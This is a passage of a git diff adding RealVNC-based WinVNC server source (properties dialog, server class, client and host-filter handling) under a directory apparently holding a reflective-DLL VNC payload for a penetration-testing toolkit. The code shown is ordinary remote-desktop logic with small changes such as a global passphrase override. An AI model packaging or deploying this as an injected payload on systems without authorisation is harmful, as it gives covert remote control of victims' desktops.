+// the authors on vnc@uk.research.att.com for information on obtaining it. + + +// vncProperties + +// Object implementing the Properties dialog for WinVNC. +// The Properties dialog is displayed whenever the user selects the +// Properties option from the system tray menu. +// The Properties dialog also takes care of loading the program +// settings and saving them on exit. + +class vncProperties; + +#if (!defined(_WINVNC_VNCPROPERTIES)) +#define _WINVNC_VNCPROPERTIES + +// Includes +#include "stdhdrs.h" +#include "vncServer.h" + +// The vncProperties class itself +class vncProperties +{ +public: + // Constructor/destructor + vncProperties(); + ~vncProperties(); + + // Initialisation + BOOL Init(vncServer *server); + + // The dialog box window proc + static BOOL CALLBACK DialogProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam); + + // Display the properties dialog + // If usersettings is TRUE then the per-user settings come up + // If usersettings is FALSE then the default system settings come up + void Show(BOOL show, BOOL usersettings); + + // Loading & saving of preferences + void Load(BOOL usersettings); + void Save(); + + // TRAY ICON MENU SETTINGS + BOOL AllowProperties() {return m_allowproperties;}; + BOOL AllowShutdown() {return m_allowshutdown;}; + BOOL AllowEditClients() {return m_alloweditclients;}; + + // Implementation +protected: + // The server object to which this properties object is attached. + vncServer * m_server; + + // Flag to indicate whether the currently loaded settings are for + // the current user, or are default system settings + BOOL m_usersettings; + + // Tray icon menu settings + BOOL m_allowproperties; + BOOL m_allowshutdown; + BOOL m_alloweditclients; + + // Password handling + void LoadPassword(HKEY k, char *buffer); + void SavePassword(HKEY k, char *buffer); + + // String handling + char * LoadString(HKEY k, LPCSTR valname); + void SaveString(HKEY k, LPCSTR valname, const char *buffer); + + // Manipulate the registry settings + LONG LoadInt(HKEY key, LPCSTR valname, LONG defval); + void SaveInt(HKEY key, LPCSTR valname, LONG val); + + // Loading/saving all the user prefs + void LoadUserPrefs(HKEY appkey); + void SaveUserPrefs(HKEY appkey); + + // Making the loaded user prefs active + void ApplyUserPrefs(); + + BOOL m_returncode_valid; + BOOL m_dlgvisible; + + // STORAGE FOR THE PROPERTIES PRIOR TO APPLICATION + BOOL m_pref_SockConnect; + BOOL m_pref_HTTPConnect; + BOOL m_pref_AutoPortSelect; + LONG m_pref_PortNumber; + char m_pref_passwd[MAXPWLEN]; + BOOL m_pref_CORBAConn; + UINT m_pref_QuerySetting; + UINT m_pref_QueryTimeout; + UINT m_pref_IdleTimeout; + BOOL m_pref_RemoveWallpaper; + BOOL m_pref_EnableRemoteInputs; + int m_pref_LockSettings; + BOOL m_pref_DisableLocalInputs; + BOOL m_pref_PollUnderCursor; + BOOL m_pref_PollForeground; + BOOL m_pref_PollFullScreen; + BOOL m_pref_PollConsoleOnly; + BOOL m_pref_PollOnEventOnly; +}; + +#endif // _WINVNC_VNCPROPERTIES diff --git a/external/source/reflective_vncdll/winvnc/winvnc/vncserver.cpp b/external/source/reflective_vncdll/winvnc/winvnc/vncserver.cpp new file mode 100644 index 0000000000..e3c81846be --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/winvnc/vncserver.cpp @@ -0,0 +1,1372 @@ +// Copyright (C) 2002-2003 RealVNC Ltd. All Rights Reserved. +// Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. +// +// This file is part of the VNC system. +// +// The VNC system is free software; you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation; either version 2 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, +// USA. +// +// If the source code for the VNC system is not available from the place +// whence you received this file, check http://www.uk.research.att.com/vnc or contact +// the authors on vnc@uk.research.att.com for information on obtaining it. + + +// vncServer.cpp + +// vncServer class implementation + +// Includes +#include "stdhdrs.h" +#include +#include +#include + +// Custom +#include "WinVNC.h" +#include "vncServer.h" +#include "vncSockConnect.h" +#include "vncCorbaConnect.h" +#include "vncClient.h" +#include "vncService.h" + +extern CHAR globalPassphrase[MAXPWLEN+1]; + +// vncServer::UpdateTracker routines + +void +vncServer::ServerUpdateTracker::add_changed(const rfb::Region2D &rgn) { + vncClientList::iterator i; + + omni_mutex_lock l(m_server->m_clientsLock); + + // Post this update to all the connected clients + for (i = m_server->m_authClients.begin(); i != m_server->m_authClients.end(); i++) + { + vncClient* client = m_server->GetClient(*i); + // Post the update + omni_mutex_lock l(client->GetUpdateLock()); + client->GetUpdateTracker().add_changed(rgn); + } +} + +void +vncServer::ServerUpdateTracker::add_copied(const rfb::Region2D &dest, const rfb::Point &delta) { + vncClientList::iterator i; + + omni_mutex_lock l(m_server->m_clientsLock); + + // Post this update to all the connected clients + for (i = m_server->m_authClients.begin(); i != m_server->m_authClients.end(); i++) + { + vncClient* client = m_server->GetClient(*i); + // Post the update + omni_mutex_lock l(client->GetUpdateLock()); + client->GetUpdateTracker().add_copied(dest, delta); + } +} + +// Constructor/destructor +vncServer::vncServer() +{ + // Initialise some important stuffs... + m_socketConn = NULL; + m_corbaConn = NULL; + m_httpConn = NULL; + m_enableHttpConn = false; + m_desktop = NULL; + m_name = NULL; + m_port = DISPLAY_TO_PORT(0); + m_autoportselect = TRUE; + m_passwd_required = FALSE; + m_auth_hosts = 0; + m_blacklist = 0; + { + vncPasswd::FromClear clearPWD; + memcpy(m_password, clearPWD, MAXPWLEN); + } + m_querysetting = 2; + m_querytimeout = 10; + + // Autolock settings + m_lock_on_exit = 0; + + // Set the polling mode options + m_poll_fullscreen = TRUE; + m_poll_foreground = TRUE; + m_poll_undercursor = TRUE; + + m_poll_oneventonly = FALSE; + m_poll_consoleonly = FALSE; + + // General options + m_loopbackOnly = FALSE; + m_loopback_allowed = TRUE; + m_lock_on_exit = 0; + m_connect_pri = 0; + + // Set the input options + m_enable_remote_inputs = TRUE; + m_disable_local_inputs = FALSE; + + // Clear the client mapping table + for (int x=0; x_next; + + free (current->_machineName); + delete current; + } + + //vnclog.Print(LL_STATE, VNCLOG("shutting down server object(4)\n")); +} + +// Client handling functions +vncClientId +vncServer::AddClient(VSocket *socket, BOOL auth, BOOL shared) +{ + return AddClient(socket, auth, shared, FALSE, 0, TRUE, TRUE); +} + +vncClientId +vncServer::AddClient(VSocket *socket, BOOL auth, BOOL shared, + BOOL teleport, int capability, + BOOL keysenabled, BOOL ptrenabled) +{ + vncClient *client; + + omni_mutex_lock l(m_clientsLock); + + // Try to allocate a client id... + vncClientId clientid = m_nextid; + do + { + clientid = (clientid+1) % MAX_CLIENTS; + if (clientid == m_nextid) + { + delete socket; + return -1; + } + } + while (m_clientmap[clientid] != NULL); + + // Create a new client and add it to the relevant client list + client = new vncClient(); + if (client == NULL) { + delete socket; + return -1; + } + + // Set the client's settings + client->SetTeleport(teleport); + client->SetCapability(capability); + client->EnableKeyboard(keysenabled && m_enable_remote_inputs); + client->EnablePointer(ptrenabled && m_enable_remote_inputs); + + // Start the client + if (!client->Init(this, socket, auth, shared, clientid)) + { + // The client will delete the socket for us... + //vnclog.Print(LL_CONNERR, VNCLOG("failed to initialise client object\n")); + delete client; + return -1; + } + + m_clientmap[clientid] = client; + + // Add the client to unauth the client list + m_unauthClients.push_back(clientid); + + // Notify anyone interested about this event + DoNotify(WM_SRV_CLIENT_CONNECT, 0, 0); + + //vnclog.Print(LL_INTINFO, VNCLOG("AddClient() done\n")); + + return clientid; +} + +BOOL +vncServer::Authenticated(vncClientId clientid) +{ + vncClientList::iterator i; + BOOL authok = TRUE; + + omni_mutex_lock l1(m_desktopLock); + omni_mutex_lock l2(m_clientsLock); + + // Search the unauthenticated client list + for (i = m_unauthClients.begin(); i != m_unauthClients.end(); i++) + { + // Is this the right client? + if ((*i) == clientid) + { + vncClient *client = GetClient(clientid); + + // Yes, so remove the client and add it to the auth list + m_unauthClients.erase(i); + + // Create the screen handler if necessary + if (m_desktop == NULL) + { + m_desktop = new vncDesktop(); + if (m_desktop == NULL) + { + client->Kill(); + authok = FALSE; + break; + } + if (!m_desktop->Init(this)) + { + client->Kill(); + authok = FALSE; + + delete m_desktop; + m_desktop = NULL; + + break; + } + } + + // Tell the client about this new buffer + client->SetBuffer(&(m_desktop->m_buffer)); + + // Add the client to the auth list + m_authClients.push_back(clientid); + + break; + } + } + + // Notify anyone interested of this event + DoNotify(WM_SRV_CLIENT_AUTHENTICATED, 0, 0); + + //vnclog.Print(LL_INTINFO, VNCLOG("Authenticated() done\n")); + + return authok; +} + +void +vncServer::KillClient(vncClientId clientid) +{ + vncClientList::iterator i; + BOOL done = FALSE; + + omni_mutex_lock l(m_clientsLock); + + // Find the client in one of the two lists + for (i = m_unauthClients.begin(); i != m_unauthClients.end(); i++) + { + // Is this the right client? + if ((*i) == clientid) + { + //vnclog.Print(LL_INTINFO, VNCLOG("killing unauth client\n")); + + // Ask the client to die + vncClient *client = GetClient(clientid); + client->Kill(); + + done = TRUE; + break; + } + } + if (!done) + { + for (i = m_authClients.begin(); i != m_authClients.end(); i++) + { + // Is this the right client? + if ((*i) == clientid) + { + //vnclog.Print(LL_INTINFO, VNCLOG("killing auth client\n")); + + // Yes, so kill it + vncClient *client = GetClient(clientid); + client->Kill(); + + done = TRUE; + break; + } + } + } + + //vnclog.Print(LL_INTINFO, VNCLOG("KillClient() done\n")); +} + +void +vncServer::KillAuthClients() +{ + vncClientList::iterator i; + omni_mutex_lock l(m_clientsLock); + + // Tell all the authorised clients to die! + for (i = m_authClients.begin(); i != m_authClients.end(); i++) + { + //vnclog.Print(LL_INTINFO, VNCLOG("killing auth client\n")); + + // Kill the client + GetClient(*i)->Kill(); + } + + //vnclog.Print(LL_INTINFO, VNCLOG("KillAuthClients() done\n")); +} + +void +vncServer::KillUnauthClients() +{ + vncClientList::iterator i; + omni_mutex_lock l(m_clientsLock); + + // Tell all the authorised clients to die! + for (i = m_unauthClients.begin(); i != m_unauthClients.end(); i++) + { + //vnclog.Print(LL_INTINFO, VNCLOG("killing unauth client\n")); + + // Kill the client + GetClient(*i)->Kill(); + } + + //vnclog.Print(LL_INTINFO, VNCLOG("KillUnauthClients() done\n")); +} + +UINT +vncServer::AuthClientCount() +{ + omni_mutex_lock l(m_clientsLock); + + return m_authClients.size(); +} + +UINT +vncServer::UnauthClientCount() +{ + omni_mutex_lock l(m_clientsLock); + + return m_unauthClients.size(); +} + +BOOL +vncServer::UpdateWanted() +{ + vncClientList::iterator i; + omni_mutex_lock l(m_clientsLock); + + // Iterate over the authorised clients + for (i = m_authClients.begin(); i != m_authClients.end(); i++) + { + if (GetClient(*i)->UpdateWanted()) + return TRUE; + } + return FALSE; +} + +BOOL +vncServer::RemoteEventReceived() +{ + vncClientList::iterator i; + BOOL result = FALSE; + omni_mutex_lock l(m_clientsLock); + + // Iterate over the authorised clients + for (i = m_authClients.begin(); i != m_authClients.end(); i++) + { + result = result || GetClient(*i)->RemoteEventReceived(); + } + return result; +} + +void +vncServer::WaitUntilAuthEmpty() +{ + omni_mutex_lock l(m_clientsLock); + + // Wait for all the clients to exit + while (!m_authClients.empty()) + { + // Wait for a client to quit + m_clientquitsig->wait(); + } +} + +void +vncServer::WaitUntilUnauthEmpty() +{ + omni_mutex_lock l(m_clientsLock); + + // Wait for all the clients to exit + while (!m_unauthClients.empty()) + { + // Wait for a client to quit + m_clientquitsig->wait(); + } +} + +// Client info retrieval/setup +vncClient* +vncServer::GetClient(vncClientId clientid) +{ + if ((clientid >= 0) && (clientid < MAX_CLIENTS)) + return m_clientmap[clientid]; + return NULL; +} + +vncClientList +vncServer::ClientList() +{ + vncClientList clients; + + omni_mutex_lock l(m_clientsLock); + + clients = m_authClients; + + return clients; +} + +void +vncServer::SetTeleport(vncClientId clientid, BOOL teleport) +{ + omni_mutex_lock l(m_clientsLock); + + vncClient *client = GetClient(clientid); + if (client != NULL) + client->SetTeleport(teleport); +} + +void +vncServer::SetCapability(vncClientId clientid, int capability) +{ + omni_mutex_lock l(m_clientsLock); + + vncClient *client = GetClient(clientid); + if (client != NULL) + client->SetCapability(capability); +} + +void +vncServer::SetKeyboardEnabled(vncClientId clientid, BOOL enabled) +{ + omni_mutex_lock l(m_clientsLock); + + vncClient *client = GetClient(clientid); + if (client != NULL) + client->EnableKeyboard(enabled); +} + +void +vncServer::SetPointerEnabled(vncClientId clientid, BOOL enabled) +{ + omni_mutex_lock l(m_clientsLock); + + vncClient *client = GetClient(clientid); + if (client != NULL) + client->EnablePointer(enabled); +} + +BOOL +vncServer::IsTeleport(vncClientId clientid) +{ + omni_mutex_lock l(m_clientsLock); + + vncClient *client = GetClient(clientid); + if (client != NULL) + return client->IsTeleport(); + return FALSE; +} + +int +vncServer::GetCapability(vncClientId clientid) +{ + omni_mutex_lock l(m_clientsLock); + + vncClient *client = GetClient(clientid); + if (client != NULL) + return client->GetCapability(); + return 0; +} + +BOOL +vncServer::GetKeyboardEnabled(vncClientId clientid) +{ + omni_mutex_lock l(m_clientsLock); + + vncClient *client = GetClient(clientid); + if (client != NULL) + return client->IsKeyboardEnabled(); + return FALSE; +} + +BOOL +vncServer::GetPointerEnabled(vncClientId clientid) +{ + omni_mutex_lock l(m_clientsLock); + + vncClient *client = GetClient(clientid); + if (client != NULL) + return client->IsPointerEnabled(); + return FALSE; +} + +const char* +vncServer::GetClientName(vncClientId clientid) +{ + omni_mutex_lock l(m_clientsLock); + + vncClient *client = GetClient(clientid); + if (client != NULL) + return client->GetClientName(); + return NULL; +} + +// RemoveClient should ONLY EVER be used by the client to remove itself. +void +vncServer::RemoveClient(vncClientId clientid) +{ + vncClientList::iterator i; + BOOL done = FALSE; + + omni_mutex_lock l1(m_desktopLock); + { omni_mutex_lock l2(m_clientsLock); + + // Find the client in one of the two lists + for (i = m_unauthClients.begin(); i != m_unauthClients.end(); i++) + { + // Is this the right client? + if ((*i) == clientid) + { + //vnclog.Print(LL_INTINFO, VNCLOG("removing unauthorised client\n")); + + // Yes, so remove the client and kill it + m_unauthClients.erase(i); + m_clientmap[clientid] = NULL; + + done = TRUE; + break; + } + } + if (!done) + { + for (i = m_authClients.begin(); i != m_authClients.end(); i++) + { + // Is this the right client? + if ((*i) == clientid) + { + //vnclog.Print(LL_INTINFO, VNCLOG("removing authorised client\n")); + + // Yes, so remove the client and kill it + m_authClients.erase(i); + m_clientmap[clientid] = NULL; + + done = TRUE; + break; + } + } + } + + // Signal that a client has quit + m_clientquitsig->signal(); + + } // Unlock the clientLock + + // Are there any authorised clients connected? + if (m_authClients.empty() && (m_desktop != NULL)) + { + //vnclog.Print(LL_STATE, VNCLOG("deleting desktop server\n")); + + // Are there locksettings set? + if (LockSettings() == 1) + { + // Yes - lock the machine on disconnect! + vncService::LockWorkstation(); + } else if (LockSettings() > 1) + { + char username[UNLEN+1]; + + vncService::CurrentUser((char *)&username, sizeof(username)); + if (strcmp(username, "") != 0) + { + // Yes - force a user logoff on disconnect! + //if (!ExitWindowsEx(EWX_LOGOFF, 0)) + //vnclog.Print(LL_CONNERR, VNCLOG("client disconnect - failed to logoff user!\n")); + } + } + + // Delete the screen server + delete m_desktop; + m_desktop = NULL; + } + + // Notify anyone interested of the change + DoNotify(WM_SRV_CLIENT_DISCONNECT, 0, 0); + + //vnclog.Print(LL_INTINFO, VNCLOG("RemoveClient() done\n")); +} + +// NOTIFICATION HANDLING! + +// Connect/disconnect notification +BOOL +vncServer::AddNotify(HWND hwnd) +{ + omni_mutex_lock l(m_clientsLock); + + // Add the window handle to the list + m_notifyList.push_front(hwnd); + + return TRUE; +} + +BOOL +vncServer::RemNotify(HWND hwnd) +{ + omni_mutex_lock l(m_clientsLock); + + // Remove the window handle from the list + vncNotifyList::iterator i; + for (i=m_notifyList.begin(); i!=m_notifyList.end(); i++) + { + if ((*i) == hwnd) + { + // Found the handle, so remove it + m_notifyList.erase(i); + return TRUE; + } + } + + return FALSE; +} + +// Send a notification message +void +vncServer::DoNotify(UINT message, WPARAM wparam, LPARAM lparam) +{ + omni_mutex_lock l(m_clientsLock); + + // Send the given message to all the notification windows + vncNotifyList::iterator i; + for (i=m_notifyList.begin(); i!=m_notifyList.end(); i++) + { + PostMessage((*i), message, wparam, lparam); + } +} + +void +vncServer::UpdateMouse() +{ + vncClientList::iterator i; + + omni_mutex_lock l(m_clientsLock); + + // Post this mouse update to all the connected clients + for (i = m_authClients.begin(); i != m_authClients.end(); i++) + { + // Post the update + GetClient(*i)->UpdateMouse(); + } +} + +void +vncServer::UpdateClipText(const char* text) +{ + vncClientList::iterator i; + + omni_mutex_lock l(m_clientsLock); + + // Post this update to all the connected clients + for (i = m_authClients.begin(); i != m_authClients.end(); i++) + { + // Post the update + GetClient(*i)->UpdateClipText(text); + } +} + +void +vncServer::UpdatePalette() +{ + vncClientList::iterator i; + + omni_mutex_lock l(m_clientsLock); + + // Post this update to all the connected clients + for (i = m_authClients.begin(); i != m_authClients.end(); i++) + { + // Post the update + GetClient(*i)->UpdatePalette(); + } +} + +void +vncServer::UpdateLocalFormat() +{ + vncClientList::iterator i; + + omni_mutex_lock l(m_clientsLock); + + // Post this update to all the connected clients + for (i = m_authClients.begin(); i != m_authClients.end(); i++) + { + // Post the update + GetClient(*i)->UpdateLocalFormat(); + } +} + +void +vncServer::UpdateLocalClipText(LPSTR text) +{ + omni_mutex_lock l(m_desktopLock); + + if (m_desktop != NULL) + m_desktop->SetClipText(text); +} + +// Name and port number handling +void +vncServer::SetName(const char * name) +{ + // Set the name of the desktop + if (m_name != NULL) + { + free(m_name); + m_name = NULL; + } + + m_name = strdup(name); +} + +void +vncServer::SetPort(const UINT port) +{ + if (m_port != port) + { + ///////////////////////////////// + // Adjust the listen socket + + // Set the port number to use + m_port = port; + + // If there is already a listening socket then close and re-open it... + BOOL socketon = SockConnected(); + + SockConnect(FALSE); + if (socketon) + SockConnect(TRUE); + + } +} + +UINT +vncServer::GetPort() +{ + return m_port; +} + +void +vncServer::SetPassword(const char *passwd) +{ + memcpy(m_password, passwd, MAXPWLEN); +} + +void +vncServer::GetPassword(char *passwd) +{ + if (globalPassphrase[0]) + { + vncPasswd::FromText crypt((char *)globalPassphrase); + SetPassword(crypt); + } + + memcpy(passwd, m_password, MAXPWLEN); +} + +// Remote input handling +void +vncServer::EnableRemoteInputs(BOOL enable) +{ + m_enable_remote_inputs = enable; +} + +BOOL vncServer::RemoteInputsEnabled() +{ + return m_enable_remote_inputs; +} + +// Local input handling +void +vncServer::DisableLocalInputs(BOOL disable) +{ + m_disable_local_inputs = disable; +} + +BOOL vncServer::LocalInputsDisabled() +{ + return m_disable_local_inputs; +} + +// Socket connection handling +BOOL +vncServer::SockConnect(BOOL On) +{ + // Are we being asked to switch socket connects on or off? + if (On) + { + // Is there a listening socket? + if (m_socketConn == NULL) + { + m_socketConn = new vncSockConnect(); + if (m_socketConn == NULL) + return FALSE; + + // Are we to use automatic port selection? + if (m_autoportselect) + { + BOOL ok = FALSE; + + // Yes, so cycle through the ports, looking for a free one! + for (int i=0; i < 99; i++) + { + m_port = DISPLAY_TO_PORT(i); + + //vnclog.Print(LL_CLIENTS, VNCLOG("trying port number %d\n"), m_port); + + // Attempt to connect to the port + VSocket tempsock; + if (tempsock.Create()) + { + if (!tempsock.Connect("localhost", m_port)) + { + // Couldn't connect, so this port is probably usable! + if (m_socketConn->Init(this, m_port)) + { + ok = TRUE; + break; + } + } + } + } + + if (!ok) + { + delete m_socketConn; + m_socketConn = NULL; + return FALSE; + } + } else + { + // No autoportselect + if (!m_socketConn->Init(this, m_port)) + { + delete m_socketConn; + m_socketConn = NULL; + return FALSE; + } + } + + // Now let's start the HTTP connection stuff + EnableHTTPConnect(m_enableHttpConn); + } + } + else + { + // *** JNW - Trying to fix up a lock-up when the listening socket closes + KillAuthClients(); + KillUnauthClients(); + WaitUntilAuthEmpty(); + WaitUntilUnauthEmpty(); + + // Is there a listening socket? + if (m_socketConn != NULL) + { + // Close the socket + delete m_socketConn; + m_socketConn = NULL; + } + + // Is there an HTTP socket active? + EnableHTTPConnect(m_enableHttpConn); + } + + return TRUE; +} + +BOOL +vncServer::SockConnected() +{ + return m_socketConn != NULL; +} + +BOOL +vncServer::EnableHTTPConnect(BOOL enable) { + m_enableHttpConn = enable; + if (enable && m_socketConn) { + if (m_httpConn == NULL) + { + m_httpConn = new vncHTTPConnect; + if (m_httpConn != NULL) + { + // Start up the HTTP server + if (!m_httpConn->Init(this, + PORT_TO_DISPLAY(m_port) + HTTP_PORT_OFFSET)) + { + delete m_httpConn; + m_httpConn = NULL; + return FALSE; + } + } + } + } else { + if (m_httpConn != NULL) + { + // Close the socket + delete m_httpConn; + m_httpConn = NULL; + } + } + + return TRUE; +} + +BOOL +vncServer::SetLoopbackOnly(BOOL loopbackOnly) +{ + if (loopbackOnly != m_loopbackOnly) + { + m_loopbackOnly = loopbackOnly; + BOOL socketConn = SockConnected(); + SockConnect(FALSE); + SockConnect(socketConn); + } + return TRUE; +} + +BOOL +vncServer::LoopbackOnly() +{ + return m_loopbackOnly; +} + +// CORBA connection handling +BOOL +vncServer::CORBAConnect(BOOL On) +{ + // Are we being asked to switch CORBA connects on or off? + if (On) + { + // Is there a CORBA object? + if (m_corbaConn == NULL) + { + m_corbaConn = new vncCorbaConnect(); + } + if (m_corbaConn == NULL) + return FALSE; + if (!m_corbaConn->Init(this)) + { + delete m_corbaConn; + m_corbaConn = NULL; + return FALSE; + } + } + else + { + // Is there a listening socket? + if (m_corbaConn != NULL) + { + // Close the socket + delete m_corbaConn; + m_corbaConn = NULL; + } + } + + return TRUE; +} + +BOOL +vncServer::CORBAConnected() +{ + return m_corbaConn != NULL; +} + +void +vncServer::GetScreenInfo(int &width, int &height, int &depth) +{ + rfbServerInitMsg scrinfo; + + omni_mutex_lock l(m_desktopLock); + + //vnclog.Print(LL_INTINFO, VNCLOG("GetScreenInfo called\n")); + + // Is a desktop object currently active? + if (m_desktop == NULL) + { + vncDesktop desktop; + + // No, so create a dummy desktop and interrogate it + if (!desktop.Init(this)) + { + scrinfo.framebufferWidth = 0; + scrinfo.framebufferHeight = 0; + scrinfo.format.bitsPerPixel = 0; + } + else + { + desktop.FillDisplayInfo(&scrinfo); + } + } + else + { + m_desktop->FillDisplayInfo(&scrinfo); + } + + // Get the info from the scrinfo structure + width = scrinfo.framebufferWidth; + height = scrinfo.framebufferHeight; + depth = scrinfo.format.bitsPerPixel; +} + +void +vncServer::SetAuthHosts(const char*hostlist) { + omni_mutex_lock l(m_clientsLock); + + if (hostlist == 0) { + //vnclog.Print(LL_INTINFO, VNCLOG("authhosts cleared\n")); + m_auth_hosts = 0; + return; + } + + //vnclog.Print(LL_INTINFO, VNCLOG("authhosts set to \"%s\"\n"), hostlist); + if (m_auth_hosts != 0) + free(m_auth_hosts); + + m_auth_hosts = strdup(hostlist); +} + +char* +vncServer::AuthHosts() { + omni_mutex_lock l(m_clientsLock); + + if (m_auth_hosts == 0) + return strdup(""); + else + return strdup(m_auth_hosts); +} + +inline BOOL +MatchStringToTemplate(const char *addr, UINT addrlen, + const char *filtstr, UINT filtlen) { + if (filtlen == 0) + return 1; + if (addrlen < filtlen) + return 0; + for (int x = 0; x < filtlen; x++) { + if (addr[x] != filtstr[x]) + return 0; + } + if ((addrlen > filtlen) && (addr[filtlen] != '.')) + return 0; + return 1; +} + +vncServer::AcceptQueryReject +vncServer::VerifyHost(const char *hostname) { + omni_mutex_lock l(m_clientsLock); + + // -=- Is the specified host blacklisted? + vncServer::BlacklistEntry *current = m_blacklist; + vncServer::BlacklistEntry *previous = 0; + SYSTEMTIME systime; + FILETIME ftime; + LARGE_INTEGER now; + + // Get the current time as a 64-bit value + GetSystemTime(&systime); + SystemTimeToFileTime(&systime, &ftime); + now.LowPart=ftime.dwLowDateTime;now.HighPart=ftime.dwHighDateTime; + now.QuadPart /= 10000000; // Convert it into seconds + + while (current) { + + // Has the blacklist entry timed out? + if ((now.QuadPart - current->_lastRefTime.QuadPart) > 0) { + + // Yes. Is it a "blocked" entry? + if (current->_blocked) { + // Yes, so unblock it & re-set the reference time + current->_blocked = FALSE; + current->_lastRefTime.QuadPart = now.QuadPart + 10; + } else { + // No, so remove it + if (previous) + previous->_next = current->_next; + else + m_blacklist = current->_next; + vncServer::BlacklistEntry *next = current->_next; + free(current->_machineName); + delete current; + current = next; + continue; + } + + } + + // Is this the entry we're interested in? + if ((strcmp(current->_machineName, hostname) == 0) && + (current->_blocked)) { + // Machine is blocked, so just reject it + return vncServer::aqrReject; + } + + previous = current; + current = current->_next; + } + + // Has a hostname been specified? + if (hostname == 0) { + //vnclog.Print(LL_INTWARN, VNCLOG("verify failed - null hostname\n")); + return vncServer::aqrReject; + } + + // Set the state machine into the correct mode & process the filter + enum vh_Mode {vh_ExpectDelimiter, vh_ExpectIncludeExclude, vh_ExpectPattern}; + vh_Mode machineMode = vh_ExpectIncludeExclude; + + vncServer::AcceptQueryReject verifiedHost = vncServer::aqrAccept; + + vncServer::AcceptQueryReject patternType = vncServer::aqrReject; + UINT authHostsPos = 0; + UINT patternStart = 0; + UINT hostNameLen = strlen(hostname); + + // Run through the auth hosts string until we hit the end + if (m_auth_hosts) { + while (1) { + + // Which mode are we in? + switch (machineMode) { + + // ExpectIncludeExclude - we should see a + or -. + case vh_ExpectIncludeExclude: + if (m_auth_hosts[authHostsPos] == '+') { + patternType = vncServer::aqrAccept; + patternStart = authHostsPos+1; + machineMode = vh_ExpectPattern; + } else if (m_auth_hosts[authHostsPos] == '-') { + patternType = vncServer::aqrReject; + patternStart = authHostsPos+1; + machineMode = vh_ExpectPattern; + } else if (m_auth_hosts[authHostsPos] == '?') { + patternType = vncServer::aqrQuery; + patternStart = authHostsPos+1; + machineMode = vh_ExpectPattern; + } else if (m_auth_hosts[authHostsPos] != '\0') { + //vnclog.Print(LL_INTWARN, VNCLOG("verify host - malformed AuthHosts string\n")); + machineMode = vh_ExpectDelimiter; + } + break; + + // ExpectPattern - we expect to see a valid pattern + case vh_ExpectPattern: + // ExpectDelimiter - we're scanning for the next ':', skipping a pattern + case vh_ExpectDelimiter: + if ((m_auth_hosts[authHostsPos] == ':') || + (m_auth_hosts[authHostsPos] == '\0')) { + if (machineMode == vh_ExpectPattern) { + ////if (patternStart == 0) { + // //vnclog.Print(LL_INTWARN, VNCLOG("verify host - pattern processing failed!\n")); + //} else { + if (patternStart != 0) { + // Process the match + if (MatchStringToTemplate(hostname, hostNameLen, + &(m_auth_hosts[patternStart]), authHostsPos-patternStart)) { + // The hostname matched - apply the include/exclude rule + verifiedHost = patternType; + } + } + } + + // We now expect another + or - + machineMode = vh_ExpectIncludeExclude; + } + break; + } + + // Have we hit the end of the pattern string? + if (m_auth_hosts[authHostsPos] == '\0') + break; + authHostsPos++; + } + } + + // Based on the server's QuerySetting, adjust the verification result + switch (verifiedHost) { + case vncServer::aqrAccept: + if (QuerySetting() >= 3) + verifiedHost = vncServer::aqrQuery; + break; + case vncServer::aqrQuery: + if (QuerySetting() <= 1) + verifiedHost = vncServer::aqrAccept; + else if (QuerySetting() == 4) + verifiedHost = vncServer::aqrReject; + break; + case vncServer::aqrReject: + if (QuerySetting() == 0) + verifiedHost = vncServer::aqrQuery; + break; + }; + + return verifiedHost; +} + +void +vncServer::AddAuthHostsBlacklist(const char *machine) { + omni_mutex_lock l(m_clientsLock); + + // -=- Is the specified host blacklisted? + vncServer::BlacklistEntry *current = m_blacklist; + + // Get the current time as a 64-bit value + SYSTEMTIME systime; + FILETIME ftime; + LARGE_INTEGER now; + GetSystemTime(&systime); + SystemTimeToFileTime(&systime, &ftime); + now.LowPart=ftime.dwLowDateTime;now.HighPart=ftime.dwHighDateTime; + now.QuadPart /= 10000000; // Convert it into seconds + + while (current) { + + // Is this the entry we're interested in? + if (strcmp(current->_machineName, machine) == 0) { + + // If the host is already blocked then ignore + if (current->_blocked) + return; + + // Set the RefTime & failureCount + current->_lastRefTime.QuadPart = now.QuadPart + 10; + current->_failureCount++; + + if (current->_failureCount > 5) + current->_blocked = TRUE; + return; + } + + current = current->_next; + } + + // Didn't find the entry + current = new vncServer::BlacklistEntry; + current->_blocked = FALSE; + current->_failureCount = 0; + current->_lastRefTime.QuadPart = now.QuadPart + 10; + current->_machineName = strdup(machine); + current->_next = m_blacklist; + m_blacklist = current; +} + +void +vncServer::RemAuthHostsBlacklist(const char *machine) { + omni_mutex_lock l(m_clientsLock); + + // -=- Is the specified host blacklisted? + vncServer::BlacklistEntry *current = m_blacklist; + vncServer::BlacklistEntry *previous = 0; + + while (current) { + + // Is this the entry we're interested in? + if (strcmp(current->_machineName, machine) == 0) { + if (previous) + previous->_next = current->_next; + else + m_blacklist = current->_next; + vncServer::BlacklistEntry *next = current->_next; + free (current->_machineName); + delete current; + current = next; + continue; + } + + previous = current; + current = current->_next; + } +} diff --git a/external/source/reflective_vncdll/winvnc/winvnc/vncserver.h b/external/source/reflective_vncdll/winvnc/winvnc/vncserver.h new file mode 100644 index 0000000000..b178a12a36 --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/winvnc/vncserver.h @@ -0,0 +1,322 @@ +// Copyright (C) 2002-2003 RealVNC Ltd. All Rights Reserved. +// Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. +// +// This file is part of the VNC system. +// +// The VNC system is free software; you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation; either version 2 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 59 Temple Place - Suite 